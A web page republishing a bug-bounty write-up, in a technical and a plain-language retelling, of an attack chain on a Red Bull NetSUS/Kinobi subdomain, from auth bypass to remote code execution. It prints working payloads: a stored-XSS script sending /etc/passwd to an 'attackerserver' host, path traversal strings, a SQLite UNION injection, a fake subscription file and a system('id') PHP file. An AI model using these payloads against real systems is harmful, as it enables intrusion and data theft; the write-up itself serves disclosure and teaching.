Skip to content
RCE Write-up Advanced

Get HOSTINGER VPS at a discount

Bartłomiej Bergier Follow

Published on bergee.it

One afternoon I decided to try my luck on the Red Bull VDP program. I gathered the subdomains and looked at interesting ones in the browser.

bergee, on bergee.it

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

Context

The target was the Red Bull VDP program. The researcher gathered subdomains and browsed the interesting ones. One of them, referred to here as subdomain.redbull.com, presented a web interface with a Local login option.

From the original on bergee.it

Behind that login sat a NetSUS application by jamf, with an additional extension called Kinobi patch server. Both are open source, which later mattered a great deal: the source for NetSUS is at https://github.com/jamf/NetSUS/ and the source for Kinobi is at https://github.com/mondada/kinobi/.

Setup

The researcher used a browser, ffuf for directory and file enumeration, curl to inspect individual responses, and Burp Suite as a proxy. No account was obtained through legitimate means at any point. The only precondition for the first finding was network access to the subdomain.

Finding it

The researcher tried Local login with default credentials such as admin/admin and admin/test, and nothing worked. Examining the response headers revealed a PHPSESSID. Directory and file enumeration with ffuf found several endpoints, but all of them redirected to the main web interface, so the researcher initially concluded there was nothing to look for.

A second enumeration run with a different wordlist found more endpoints, again redirecting to the main interface. This time the response sizes caught the researcher's attention: they differed from endpoint to endpoint. If every redirect pointed at the same place, the responses should all have been equal in size. Inspecting some of them with curl showed different response bodies.

The conclusion was that the redirection happened after the actual script executed and the page rendered. The researcher concluded that the redirection happened after the actual script executed and the page rendered.

Exploitation

Step 1: stopping the redirect in Burp

The researcher enabled the Burp proxy and added rules to stop the redirects so the pages could be seen in the browser. This is done through Proxy -> Options -> Match and Replace.

From the original on bergee.it

After applying the rules and refreshing the page, the researcher was inside the application without authenticating. Nothing was tried inside the app at that point; the issue was reported immediately. It was marked as medium severity and rewarded with one tray of Red Bull. The bug was later fixed: entering the app URL no longer showed a login screen and instead redirected to a separate auth site, which looked secure.

Step 2: the fix did not hold

Several months later the researcher returned to the Red Bull VDP program and checked the same URL. Running ffuf again showed that although there was no login screen, PHP endpoints such as dashboard.php were still present. The same redirect-stopping rule in Burp was applied, the researcher entered:

HTTP
https://subdomain.redbull.com/webadmin/dashboard.php

and was inside the app again. This time the researcher dug into the application, identified it as NetSUS by jamf, searched for existing exploits, found none, and moved to GitHub where the full source was available. The Kinobi patch server extension was also in play, and the researcher began reviewing both codebases directly.

Step 3: path traversal and LFI in patchCtl.php

The application had a functionality for downloading patches, exposed at a URL of this shape:

HTTP
https://subdomain.redbull.com/webadmin/webadmin/patchCtl.php?download=somepatchfile

Replacing somepatchfile with a traversal sequence:

Text
../../../../../../etc/passwd

worked. The endpoint suffered from path traversal and allowed reading files from the server, such as /etc/passwd.

There was a catch. Because the researcher had logged in by stopping redirects in Burp, the session was not fully authenticated. Many actions only checked the session cookie in the browser, but some functionalities also properly checked for server-side sessions, and those could not be used. The download action was one of them.

Step 4: chaining a stored XSS to exfiltrate the file

Snooping around the app, the researcher quickly found an XSS vulnerability, in fact many of them. On this domain the XSSes were out of scope.

With the XSS available, the researcher worked out an attack scenario:

  1. The attacker logs into the web app using the redirect misconfiguration.
  2. The attacker goes to Patch Definitions -> Software Titles -> External Attributes and saves a new attribute entry, replacing its name with a crafted payload.
  3. A legitimate admin, user or employee logs into the web app after some time, enters this part of the portal, and the stored XSS fires, sending the /etc/passwd file directly to the attacker server.

The payload used was:

Text
%3Cimg%20id%3D%27imgx%27%3E%3Cimg%20src%3Dx%20onerror%3D%27var%20done%3D0%3Bif%28%21done%29%7Bvar%20xmlhttp%3Dnew%20XMLHttpRequest%3Bxmlhttp.onreadystatechange%3Dfunction%28%29%7Bif%284%3D%3Dxmlhttp.readyState%26%26200%3D%3Dxmlhttp.status%26%260%3D%3Ddone%29%7Bdone%3D1%2CstolenPage%3DencodeURI%28btoa%28xmlhttp.responseText29%292Cdocument.querySelector28%2223imgx22%29.src3D%22https3A%2F2Fattackerserver8%2Fexfil3F%222BstolenPage7D%7D2Cxmlhttp.open28%22GET22%2C22%2Fwebadmin%2FpatchCtl.php%3Fdownload%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%22%2C%210%29%2Cxmlhttp.send%28null%29%7D%27%3E

which is a URL-encoded and minified version of:

HTML
<img id='imgx'><img src=x onerror='
var done=false;
if (!done) {
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.onreadystatechange = function() {
		if (xmlhttp.readyState==4 && xmlhttp.status==200 && done==false) {
			done=true;
			stolenPage = encodeURI(btoa(xmlhttp.responseText));
			const img = document.querySelector("#imgx");
			img.src = "https://attackerserver/exfil?"+stolenPage;
			}
	}
}
xmlhttp.open("GET", '/webadmin/patchCtl.php?download=../../../../../../../../../etc/passwd', true);
xmlhttp.send(null);}'>

The code retrieves /etc/passwd through the path traversal in patchCtl.php using an XML HTTP request, encodes the response in BASE64, and sends it as a GET parameter to the attacker site through an IMG SRC tag. Because the XSS fired twice, there were problems between the requests, hence the done variable to avoid the second request. The researcher calls it a dirty hack, but it worked.

From the original on bergee.it

Decoding the base64 output shows the content of the /etc/passwd file. This vulnerability was found just by playing with the app, before looking at the source code. It existed in the Kinobi project in the patchCtl.php file:

From the original on bergee.it

Step 5: SQL injection in patchTitles.php

The SQL injection is located in /webadmin/patchTitles.php. The SQL that creates a title is properly escaped, but the SQL that reads the added titles is not.

From the original on bergee.it

The code above looks fine, however:

From the original on bergee.it

this code does not look good: the selected value is concatenated directly into the query. All that was needed was to build a proper SQL payload and put it into the name_id variable while creating the title. The payload used was:

SQL
a' union SELECT group_concat(tbl_name) from sqlite_master--

This listed all tables from the database. The app was using a SQLite database.

From the original on bergee.it

Step 6: first RCE through RFI and an upload restriction bypass

The app had a subscription feature that gets data from a JSON file sitting on a remote server without validation, so it could be fed with fake data. The POST request that set the desired parameters was:

From the original on bergee.it

The format of the fake subscription file, fake_subscription.json, was:

JSON
{"token":"12345678901234567890123456789011","import":"/tmp/rce.php","expires":"2099-12-31"}

The subs_url is the URL of the subscription JSON file on the attacker's server. The subs_token must be present and must match the token field in the JSON file. There were three fields in the subscription JSON file:

  1. a token, a 32-character string as described above
  2. import, the location of the PHP file that will be executed
  3. expires, a required date

The next problem was uploading rce.php to /tmp. This was done by abusing the backup upload feature. Originally the upload path was set to /var/www/kinobi/backup, but it could be changed to /tmp through the application interface. The upload feature allowed .sql.gz files but validated only the Content-Type, which had to be application/x-gzip. Any file, including a .php file, could be uploaded simply by setting the Content-Type to application/x-gzip. This way rce.php was uploaded to /tmp, and the path to it was already set in fake_subscription.json. The request for uploading rce.php was:

The rce.php file was filled with X characters to defeat some CSS alignment and make the output of the script visible. The system() PHP command was not blocked, so OS commands could be executed on the server. The researcher executed id, whoami and hostname. The piece of code responsible for uploading backup files was:

From the original on bergee.it

As the researcher notes, there was nothing more than Content-Type checking. All that remained was to run the attacker's server serving fake_subscription.json and enter:

HTTP
https://subdomain.redbull.com/webadmin/patchTitles.php

to execute rce.php. The code responsible for the final RCE was inside patchTitles.php:

From the original on bergee.it

No sanitisation, filtering or checking. The screenshots below show the final result.

From the original on bergee.it

Step 7: second RCE in manageTitle.php

The next day the researcher kept digging and found another RCE. The root cause was identical to the first one and the exploitation method was the same; the difference was that the same vulnerable code was located in the manageTitle.php file. From a bug hunting perspective that was another bug. This time the rce.php file contained:

PHP
<?php for ($i=0; $i<=50; $i++) { system("id"); }

The proof:

From the original on bergee.it

Root cause

The chain rests on several distinct mistakes.

  • The script executed and rendered before the redirect was issued, so suppressing the redirect in the proxy exposed the application's pages. The later fix removed the login screen and redirected to a separate auth site, but the PHP endpoints such as dashboard.php remained reachable, so the same redirect-stopping trick worked again.
  • patchCtl.php passed the download parameter into a file path without preventing traversal, allowing reads outside the intended patch directory.
  • patchTitles.php concatenated the name_id value directly into a SELECT query, even though the insert path was escaped.
  • The subscription feature fetched a JSON file from a remote URL without validation, and the import field named a PHP file to execute.
  • The backup upload validated only the Content-Type header, so a .php file sent as application/x-gzip was accepted, and the upload directory was user-controllable.
  • patchTitles.php (and manageTitle.php) executed the imported file with no sanitisation, filtering or checking.

Impact

An unauthenticated attacker could reach the application's authenticated interface by suppressing redirects. Through the stored XSS, an attacker could act against a legitimate admin, user or employee who later visited the External Attributes section, exfiltrating server files such as /etc/passwd to an attacker-controlled server. The SQL injection allowed listing all tables in the SQLite database. The RFI and upload bypass together gave OS command execution on the server, demonstrated with id, whoami and hostname, and a second identical RCE existed in manageTitle.php. The XSSes on this domain were out of scope, which limited what could be reported for them. The findings were marked as medium, critical and in the end exceptional. The application was taken down immediately after the findings were reported.

Fix

The report describes what happened rather than the exact remediation. The first auth bug was fixed by removing the login screen and redirecting to a separate auth site, but that fix did not remove the underlying PHP endpoints, and the bypass returned. A durable fix would enforce authentication server-side on every endpoint, including dashboard.php, rather than relying on a redirect. The other issues require path canonicalisation in patchCtl.php, parameterised queries in patchTitles.php, validation of the subscription JSON and its import path, content inspection rather than Content-Type alone on uploads, a fixed upload directory, and removal of the dynamic include that executes the imported file.

Variants to test

  1. Suppress redirects in Burp (Proxy -> Options -> Match and Replace) on any endpoint that returns a 30x after rendering. A positive result is a full page body in the response before the redirect, or the authenticated interface appearing in the browser.
  2. Compare response sizes across enumerated endpoints that all redirect to the same place. Differing sizes suggest the script ran before the redirect.
  3. After a vendor fixes an auth bypass by adding a redirect to an external auth site, re-enumerate for the original PHP endpoints such as dashboard.php. A positive result is the endpoint still responding with content when the redirect is suppressed.
  4. Send traversal sequences in download-style parameters, for example ?download=../../../../../../etc/passwd. A positive result is the contents of the target file in the response.
  5. Look for INSERT statements that are escaped while the corresponding SELECT concatenates user input. A positive result is a UNION-based payload such as a' union SELECT group_concat(tbl_name) from sqlite_master-- returning table names.
  6. Check subscription or import features that fetch JSON from a URL and execute a path from it. A positive result is a controlled JSON file being fetched and the named PHP file being executed.
  7. Upload a .php file with Content-Type: application/x-gzip to a backup feature and change the upload path through the interface. A positive result is the file landing in the chosen directory and executing when included.
  8. Search the source for system(), exec() or include calls reachable from user input, and for duplicate vulnerable files such as patchTitles.php and manageTitle.php. A positive result is command output appearing in the response.

The end

The researcher was rewarded with a large amount of Red Bull cans, a high-quality pack of clothes and sportswear, and an exceptional gift. The lesson drawn was not to trust redirections and to examine them more carefully; without reading the source code, the high-severity bugs would not have been found.

From the original on bergee.it

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

A security researcher spent some spare time looking at websites that belong to Red Bull, as part of a bug bounty programme. A bug bounty programme is a deal offered by a company: if you find a security problem in our systems and tell us about it privately, we may pay you a reward. The Red Bull programme here was a VDP, a vulnerability disclosure programme, which is the same idea but the reward is not always money.

The researcher found a login page on one of Red Bull's subdomains. A subdomain is a smaller address that sits under a company's main domain, for example shop.example.com next to example.com. The login page looked normal. After enumerating endpoints and comparing response sizes, the researcher concluded that the server first did the work of building the page and only afterwards told the browser to go somewhere else. If you stop your browser from obeying that instruction, you end up looking at a page you were never supposed to see, without logging in at all.

That first bug was reported and fixed. Months later the researcher came back, found that the fix had not removed the underlying pages, and got back in the same way. This time the researcher read the application's source code, which is public on GitHub, and found a chain of further bugs: a way to read files from the server, a way to run database queries the developer never intended, a way to upload a file that the server would later run as a program, and finally a way to run commands directly on the server's operating system. Two separate places in the code allowed that last step.

Everything below walks through the same steps in the same order, explaining each idea from scratch.

The target and the tools

The researcher started by collecting subdomains of Red Bull and opening the interesting ones in a browser. One of them, called subdomain.redbull.com here, showed a web interface with a Local login option.

From the original on bergee.it

A web interface is simply a set of pages you use in a browser. A login option is the form where you type a username and password. "Local login" usually means the application checks the username and password itself, rather than handing you off to a separate company-wide login service.

Behind that login sat an application called NetSUS, made by a company called jamf, plus an add-on called the Kinobi patch server. Both are open source, meaning their full source code is published for anyone to read. That mattered a lot later, because reading code is often how you spot a bug that is invisible from the outside. The source lives at https://github.com/jamf/NetSUS/ and https://github.com/mondada/kinobi/.

The tools used were:

  • a normal browser, to look at pages;
  • ffuf, a program that tries thousands of possible file and folder names against a website to see which ones exist. This is called directory and file enumeration;
  • curl, a command-line tool that fetches a single web address and shows you exactly what the server sent back, without a browser tidying it up;
  • Burp Suite, a proxy. A proxy sits between your browser and the website and lets you read and change every request and response that passes through. Think of it as a post office that opens every letter, lets you read it, and lets you rewrite it before delivery.

No account was ever obtained legitimately. The only thing needed for the first finding was the ability to reach the subdomain over the network.

Finding it

The researcher tried the Local login with common default credentials such as admin/admin and admin/test. Default credentials are the username and password a product ships with before anyone changes them; they are the first thing anyone tries. Nothing worked.

Looking at the response headers revealed a PHPSESSID. Headers are the small pieces of information a server sends alongside a page: things like the type of content, when it was generated, and any cookies to store. A cookie is a small label the server asks your browser to keep and send back on every later request, so the server can recognise you. A session cookie is exactly that: a temporary ID that says "this is the same person as before". PHPSESSID is the default name PHP, a common programming language for websites, gives to its session cookie.

Directory and file enumeration with ffuf found several endpoints. An endpoint is a specific address on a server that does something, for example /login or /download. All of them redirected to the main web interface, so the researcher initially concluded there was nothing to look for. A redirect is the server's way of saying "not here, go there instead", and browsers follow it automatically.

A second enumeration run with a different wordlist found more endpoints, again redirecting to the main interface. A wordlist is simply a long list of likely names that ffuf tries one by one. This time the response sizes caught the researcher's attention: they differed from endpoint to endpoint. If every redirect pointed at the same place, the responses should all have been equal in size. Inspecting some of them with curl showed different response bodies.

The conclusion was that the redirection happened after the actual script executed and the page rendered. In other words, the server did all the work of building the page first, and only then added the instruction "now go elsewhere". The researcher concluded that the redirection happened after the actual script executed and the page rendered.

Exploitation

Step 1: stopping the redirect in Burp

The researcher enabled the Burp proxy and added rules to stop the redirects so the pages could be seen in the browser. This is done through Proxy -> Options -> Match and Replace. Match and Replace is a Burp feature that watches traffic and swaps one piece of text for another automatically, for example removing the header that tells the browser to redirect.

From the original on bergee.it

After applying the rules and refreshing the page, the researcher was inside the application without authenticating. Authenticating means proving who you are, normally with a password. Nothing was tried inside the app at that point; the issue was reported immediately. It was marked as medium severity and rewarded with one tray of Red Bull. Severity is a rough label for how serious a bug is, from low to critical.

The bug was later fixed: entering the app URL no longer showed a login screen and instead redirected to a separate auth site, which looked secure. An auth site is a separate service whose only job is to handle logins.

Step 2: the fix did not hold

Several months later the researcher returned to the Red Bull VDP programme and checked the same URL. Running ffuf again showed that although there was no login screen, PHP endpoints such as dashboard.php were still present. A .php file is a script that the server runs to produce a page; if the file is still there, the code inside it still runs when asked.

The same redirect-stopping rule in Burp was applied, the researcher entered:

HTTP
https://subdomain.redbull.com/webadmin/dashboard.php

and was inside the app again. This line is just a web address: the protocol (https), the host (subdomain.redbull.com), and the path to a specific script (/webadmin/dashboard.php). The webadmin part is a folder name, suggesting an administrative area.

This time the researcher dug into the application, identified it as NetSUS by jamf, searched for existing exploits, found none, and moved to GitHub where the full source was available. An exploit is a ready-made piece of code that abuses a known bug; finding none meant the researcher had to look for new bugs personally. The Kinobi patch server extension was also in play, and the researcher began reviewing both codebases directly. Code review means reading source code line by line, looking for places where the program trusts input it should not.

Step 3: path traversal and LFI in patchCtl.php

The application had a functionality for downloading patches, exposed at a URL of this shape:

HTTP
https://subdomain.redbull.com/webadmin/webadmin/patchCtl.php?download=somepatchfile

A patch is an update file for software. The part after the ? is the query string: a way of passing values to the script. Here the script patchCtl.php receives a value named download, and the value is somepatchfile. The script presumably takes that name, finds the matching file in a folder of patches, and sends it back.

Replacing somepatchfile with a traversal sequence:

Text
../../../../../../etc/passwd

worked. Path traversal is the trick of putting .. in a file name. On any operating system, .. means "the folder above this one". So ../../ means "go up two folders". If a program takes a file name from the user and glues it onto a folder path without checking, the user can climb out of the intended folder and reach anywhere on the disk. LFI, local file inclusion, is the name for the result: the server ends up including or returning a local file it never meant to share.

The file /etc/passwd is a classic target. On Linux and similar systems it is a plain text list of user accounts. It does not contain passwords in modern systems, but it proves the point: it is a file outside the application's own folder, and reading it shows the bug is real.

There was a catch. Because the researcher had logged in by stopping redirects in Burp, the session was not fully authenticated. Many actions only checked the session cookie in the browser, but some functionalities also properly checked for server-side sessions, and those could not be used. A server-side session means the server keeps its own record of who is logged in; a browser-side check only looks at whether the browser is holding a cookie, which can be faked or, in this case, obtained without a real login. The download action was one of the properly checked ones.

Step 4: chaining a stored XSS to exfiltrate the file

Snooping around the app, the researcher quickly found an XSS vulnerability, in fact many of them. XSS, cross-site scripting, is when a website lets an attacker's text be treated as code by a visitor's browser. A stored XSS is the worst kind: the malicious text is saved on the server, for example as a name or a comment, and fires for every user who later views that page. On this domain the XSSes were out of scope, meaning the programme's rules did not allow reporting them, so they could not be submitted as findings.

With the XSS available, the researcher worked out an attack scenario:

  1. The attacker logs into the web app using the redirect misconfiguration.
  2. The attacker goes to Patch Definitions -> Software Titles -> External Attributes and saves a new attribute entry, replacing its name with a crafted payload.
  3. A legitimate admin, user or employee logs into the web app after some time, enters this part of the portal, and the stored XSS fires, sending the /etc/passwd file directly to the attacker server.

The idea is a chain: the first bug gets the attacker in, the second bug waits for a real user with real permissions, and that user's browser does the sensitive work on the attacker's behalf. The download action checked for server-side sessions, which the researcher's redirect-based session did not satisfy.

The payload used was:

Text
%3Cimg%20id%3D%27imgx%27%3E%3Cimg%20src%3Dx%20onerror%3D%27var%20done%3D0%3Bif%28%21done%29%7Bvar%20xmlhttp%3Dnew%20XMLHttpRequest%3Bxmlhttp.onreadystatechange%3Dfunction%28%29%7Bif%284%3D%3Dxmlhttp.readyState%26%26200%3D%3Dxmlhttp.status%26%260%3D%3Ddone%29%7Bdone%3D1%2CstolenPage%3DencodeURI%28btoa%28xmlhttp.responseText29%292Cdocument.querySelector28%2223imgx22%29.src3D%22https3A%2F2Fattackerserver8%2Fexfil3F%222BstolenPage7D%7D2Cxmlhttp.open28%22GET22%2C22%2Fwebadmin%2FpatchCtl.php%3Fdownload%3D..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%22%2C%210%29%2Cxmlhttp.send%28null%29%7D%27%3E

This is the same code as below, but URL-encoded and squashed onto one line. URL encoding is a way of writing characters that are not allowed in a web address: %3C is <, %20 is a space, %27 is a single quote, and so on. Encoding it lets the payload travel safely through forms and URLs.

which is a URL-encoded and minified version of:

HTML
<img id='imgx'><img src=x onerror='
var done=false;
if (!done) {
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.onreadystatechange = function() {
		if (xmlhttp.readyState==4 && xmlhttp.status==200 && done==false) {
			done=true;
			stolenPage = encodeURI(btoa(xmlhttp.responseText));
			const img = document.querySelector("#imgx");
			img.src = "https://attackerserver/exfil?"+stolenPage;
			}
	}
}
xmlhttp.open("GET", '/webadmin/patchCtl.php?download=../../../../../../../../../etc/passwd', true);
xmlhttp.send(null);}'>

Line by line, in plain words:

  • <img id='imgx'> creates an image element with the name imgx, so the script can find it later. It has no source yet, so nothing is shown.
  • <img src=x onerror='...'> creates a second image whose source is x, which does not exist. When an image fails to load, the browser runs whatever is in onerror. That is the trick that makes the code run at all: the attacker does not need a click, just a broken image.
  • var done=false; sets a flag meaning "not finished yet".
  • if (!done) { only continues if the flag is still false.
  • var xmlhttp = new XMLHttpRequest(); creates a request object. XMLHttpRequest is the browser feature that lets a page fetch another address in the background, without navigating away.
  • xmlhttp.onreadystatechange = function() { says: run this function whenever the request's state changes.
  • if (xmlhttp.readyState==4 && xmlhttp.status==200 && done==false) { waits until the request is finished (4), the server answered successfully (200), and the flag is still false.
  • done=true; flips the flag so the code will not run twice.
  • stolenPage = encodeURI(btoa(xmlhttp.responseText)); takes the response body, which is the file's contents, converts it to Base64 with btoa, then makes it safe to put in a URL with encodeURI. Base64 is a way of writing any bytes using only letters, digits and a few symbols, so binary or awkward text can travel through places that only accept plain text.
  • const img = document.querySelector("#imgx"); finds the first image element by its name.
  • img.src = "https://attackerserver/exfil?"+stolenPage; points that image at the attacker's server and puts the stolen data in the query string. The browser dutifully requests the image, and the attacker's server logs the data. This is exfiltration: getting data out.
  • xmlhttp.open("GET", '/webadmin/patchCtl.php?download=../../../../../../../../../etc/passwd', true); prepares a request to the vulnerable download endpoint, using the traversal sequence to ask for /etc/passwd.
  • xmlhttp.send(null); sends it.

The code retrieves /etc/passwd through the path traversal in patchCtl.php using an XML HTTP request, encodes the response in BASE64, and sends it as a GET parameter to the attacker site through an IMG SRC tag. Because the XSS fired twice, there were problems between the requests, hence the done variable to avoid the second request. The researcher calls it a dirty hack, but it worked.

From the original on bergee.it

Decoding the base64 output shows the content of the /etc/passwd file. This vulnerability was found just by playing with the app, before looking at the source code. It existed in the Kinobi project in the patchCtl.php file:

From the original on bergee.it

Step 5: SQL injection in patchTitles.php

A database is an organised store of data, and SQL is the language used to ask it questions. A query is one such question, for example "give me the title with this ID". SQL injection means slipping extra SQL into a value the program puts into a query, so the database ends up running the attacker's instructions as well as the developer's.

The SQL injection is located in /webadmin/patchTitles.php. The SQL that creates a title is properly escaped, but the SQL that reads the added titles is not. Escaping means neutralising characters that have special meaning, so that a quote typed by a user is treated as text and not as the end of a string. If the insert is escaped and the select is not, the developer fixed half the problem.

From the original on bergee.it

The code above looks fine, however:

From the original on bergee.it

this code does not look good: the selected value is concatenated directly into the query. Concatenated means glued together as text. If the program builds a query by gluing user input straight into the SQL sentence, the user can close the quote and add their own SQL.

All that was needed was to build a proper SQL payload and put it into the name_id variable while creating the title. The payload used was:

SQL
a' union SELECT group_concat(tbl_name) from sqlite_master--

What each part does:

  • a' closes the string the developer opened, so the database thinks the value has ended.
  • union SELECT adds a second result to the first one. UNION is SQL's way of stacking two queries into one result set.
  • group_concat(tbl_name) asks for all table names joined into a single line. A table is one grid of data inside a database, like a sheet in a spreadsheet.
  • from sqlite_master reads from a special built-in table that lists every table in a SQLite database. SQLite is a small, file-based database engine.
  • -- starts a comment in SQL, so the rest of the developer's original query is ignored.

This listed all tables from the database. The app was using a SQLite database.

From the original on bergee.it

Step 6: first RCE through RFI and an upload restriction bypass

RCE stands for remote code execution: the attacker gets the server to run their own program. It is usually the most serious kind of finding, because the attacker is no longer limited to what the website does; they can do anything the server's user account can do.

The app had a subscription feature that gets data from a JSON file sitting on a remote server without validation, so it could be fed with fake data. JSON is a simple text format for structured data, made of names and values in curly braces. A subscription here means the app periodically fetches a small settings file from a URL to learn what it should do. Fetching a file from a URL the user controls is called RFI, remote file inclusion, when the fetched content is then used as code.

The POST request that set the desired parameters was:

From the original on bergee.it

A POST request is one where the browser sends data to the server, typically when you submit a form, as opposed to a GET request which just asks for a page. The request above is what told the app where to find the subscription file and what token to expect.

The format of the fake subscription file, fake_subscription.json, was:

JSON
{"token":"12345678901234567890123456789011","import":"/tmp/rce.php","expires":"2099-12-31"}

Reading it field by field:

  • token is a shared secret. The app checks that the token in the file matches the one it was given, so random files cannot be used. Here it is a 32-character string.
  • import is a file path. The app will run the PHP file at this location. This is the dangerous part: the settings file tells the server which program to execute.
  • expires is a date after which the subscription is no longer valid. 2099-12-31 is far in the future, so it never expires during the test.

The subs_url is the URL of the subscription JSON file on the attacker's server. The subs_token must be present and must match the token field in the JSON file. There were three fields in the subscription JSON file:

  1. a token, a 32-character string as described above
  2. import, the location of the PHP file that will be executed
  3. expires, a required date

The next problem was uploading rce.php to /tmp. /tmp is a temporary folder on Linux systems where any program can write files. This was done by abusing the backup upload feature. A backup is a copy of data kept in case something goes wrong; the feature let an administrator upload a backup file to restore later. Originally the upload path was set to /var/www/kinobi/backup, but it could be changed to /tmp through the application interface. The upload feature allowed .sql.gz files but validated only the Content-Type, which had to be application/x-gzip. Content-Type is the header that says what kind of file is being sent. application/x-gzip means a gzip-compressed file. Checking only the label and never the contents is like a bouncer who reads the name on the invitation but never looks at the person holding it. Any file, including a .php file, could be uploaded simply by setting the Content-Type to application/x-gzip. This way rce.php was uploaded to /tmp, and the path to it was already set in fake_subscription.json. The request for uploading rce.php was:

The rce.php file was filled with X characters to defeat some CSS alignment and make the output of the script visible. CSS is the language that controls how a page looks; the X characters were used to defeat some CSS alignment so the output was visible. The system() PHP command was not blocked, so OS commands could be executed on the server. system() is a PHP function that hands a command to the operating system and prints whatever it returns. The researcher executed id, whoami and hostname. These are ordinary Linux commands: id shows which user the process runs as, whoami prints the user name, and hostname prints the machine's name. They are the standard way to prove code execution without doing any damage. The piece of code responsible for uploading backup files was:

From the original on bergee.it

As the researcher notes, there was nothing more than Content-Type checking. All that remained was to run the attacker's server serving fake_subscription.json and enter:

HTTP
https://subdomain.redbull.com/webadmin/patchTitles.php

to execute rce.php. The code responsible for the final RCE was inside patchTitles.php:

From the original on bergee.it

No sanitisation, filtering or checking. Sanitisation is the general word for cleaning input before using it; filtering is rejecting input that looks bad; checking is verifying it against what is expected. None of the three happened here. The screenshots below show the final result.

From the original on bergee.it

Step 7: second RCE in manageTitle.php

The next day the researcher kept digging and found another RCE. The root cause was identical to the first one and the exploitation method was the same; the difference was that the same vulnerable code was located in the manageTitle.php file. From a bug hunting perspective that was another bug, because each file is a separate place to fix. This time the rce.php file contained:

PHP
<?php for ($i=0; $i<=50; $i++) { system("id"); }

This is a short PHP program. <?php starts PHP code. for ($i=0; $i<=50; $i++) is a loop that runs 51 times, counting from 0 to 50. system("id") runs the id command and prints its output each time. This is a short PHP program that runs the id command 51 times.

The proof:

From the original on bergee.it

Root cause

The chain rests on several distinct mistakes.

  • The script executed and rendered before the redirect was issued, so suppressing the redirect in the proxy exposed the application's pages. The later fix removed the login screen and redirected to a separate auth site, but the PHP endpoints such as dashboard.php remained reachable, so the same redirect-stopping trick worked again.
  • patchCtl.php passed the download parameter into a file path without preventing traversal, allowing reads outside the intended patch directory.
  • patchTitles.php concatenated the name_id value directly into a SELECT query, even though the insert path was escaped.
  • The subscription feature fetched a JSON file from a remote URL without validation, and the import field named a PHP file to execute.
  • The backup upload validated only the Content-Type header, so a .php file sent as application/x-gzip was accepted, and the upload directory was user-controllable.
  • patchTitles.php (and manageTitle.php) executed the imported file with no sanitisation, filtering or checking.

Impact

An unauthenticated attacker could reach the application's authenticated interface by suppressing redirects. Through the stored XSS, an attacker could act against a legitimate admin, user or employee who later visited the External Attributes section, exfiltrating server files such as /etc/passwd to an attacker-controlled server. The SQL injection allowed listing all tables in the SQLite database. The RFI and upload bypass together gave OS command execution on the server, demonstrated with id, whoami and hostname, and a second identical RCE existed in manageTitle.php. The XSSes on this domain were out of scope, which limited what could be reported for them. The findings were marked as medium, critical and in the end exceptional. The application was taken down immediately after the findings were reported.

Fix

The report describes what happened rather than the exact remediation. The first auth bug was fixed by removing the login screen and redirecting to a separate auth site, but that fix did not remove the underlying PHP endpoints, and the bypass returned. A durable fix would enforce authentication server-side on every endpoint, including dashboard.php, rather than relying on a redirect. The other issues require path canonicalisation in patchCtl.php, parameterised queries in patchTitles.php, validation of the subscription JSON and its import path, content inspection rather than Content-Type alone on uploads, a fixed upload directory, and removal of the dynamic include that executes the imported file. Canonicalisation means turning a path into one standard form and checking it still sits inside the allowed folder. Parameterised queries mean sending values to the database separately from the SQL sentence, so they can never be read as SQL.

Variants to test

  1. Suppress redirects in Burp (Proxy -> Options -> Match and Replace) on any endpoint that returns a 30x after rendering. A 30x is any HTTP status code in the 300s, which means "look elsewhere". A positive result is a full page body in the response before the redirect, or the authenticated interface appearing in the browser.
  2. Compare response sizes across enumerated endpoints that all redirect to the same place. Differing sizes suggest the script ran before the redirect.
  3. After a vendor fixes an auth bypass by adding a redirect to an external auth site, re-enumerate for the original PHP endpoints such as dashboard.php. A positive result is the endpoint still responding with content when the redirect is suppressed.
  4. Send traversal sequences in download-style parameters, for example ?download=../../../../../../etc/passwd. A positive result is the contents of the target file in the response.
  5. Look for INSERT statements that are escaped while the corresponding SELECT concatenates user input. INSERT is the SQL command that adds data. A positive result is a UNION-based payload such as a' union SELECT group_concat(tbl_name) from sqlite_master-- returning table names.
  6. Check subscription or import features that fetch JSON from a URL and execute a path from it. A positive result is a controlled JSON file being fetched and the named PHP file being executed.
  7. Upload a .php file with Content-Type: application/x-gzip to a backup feature and change the upload path through the interface. A positive result is the file landing in the chosen directory and executing when included.
  8. Search the source for system(), exec() or include calls reachable from user input, and for duplicate vulnerable files such as patchTitles.php and manageTitle.php. exec() is another PHP function that runs an OS command; include is the PHP statement that pulls another file into the running program. A positive result is command output appearing in the response.

The end

The researcher was rewarded with a large amount of Red Bull cans, a high-quality pack of clothes and sportswear, and an exceptional gift. The lesson drawn was not to trust redirections and to examine them more carefully; without reading the source code, the high-severity bugs would not have been found.

From the original on bergee.it

Glossary

  • Authentication: proving who you are, normally with a username and password.
  • Auth site: a separate service whose only job is to handle logins.
  • Backup: a copy of data kept so it can be restored later.
  • Base64: a way of writing any bytes using only letters, digits and a few symbols, so data can travel through text-only channels.
  • Bug bounty programme: a deal where a company rewards people for privately reporting security problems.
  • Burp Suite: a proxy tool that lets you read and change web traffic between your browser and a site.
  • Canonicalisation: turning a file path into one standard form and checking it stays inside the allowed folder.
  • Concatenation: gluing pieces of text together, which is dangerous when one piece is user input and the result is a database query.
  • Content-Type: the header that says what kind of file is being sent.
  • Cookie: a small label a server asks your browser to keep and send back on later requests.
  • CSS: the language that controls how a web page looks.
  • curl: a command-line tool that fetches a web address and shows the raw response.
  • Database: an organised store of data, queried with SQL.
  • Default credentials: the username and password a product ships with before anyone changes them.
  • Endpoint: a specific address on a server that does something.
  • Enumeration: systematically trying many possible names to discover files, folders or endpoints.
  • Escaping: neutralising characters that have special meaning so user text is treated as text.
  • Exfiltration: getting data out of a system to a place the attacker controls.
  • Exploit: ready-made code that abuses a known bug.
  • ffuf: a program that tries thousands of possible file and folder names against a website.
  • GET request: a request that asks for a page or resource, with values in the URL.
  • Headers: small pieces of information a server sends alongside a page, such as content type and cookies.
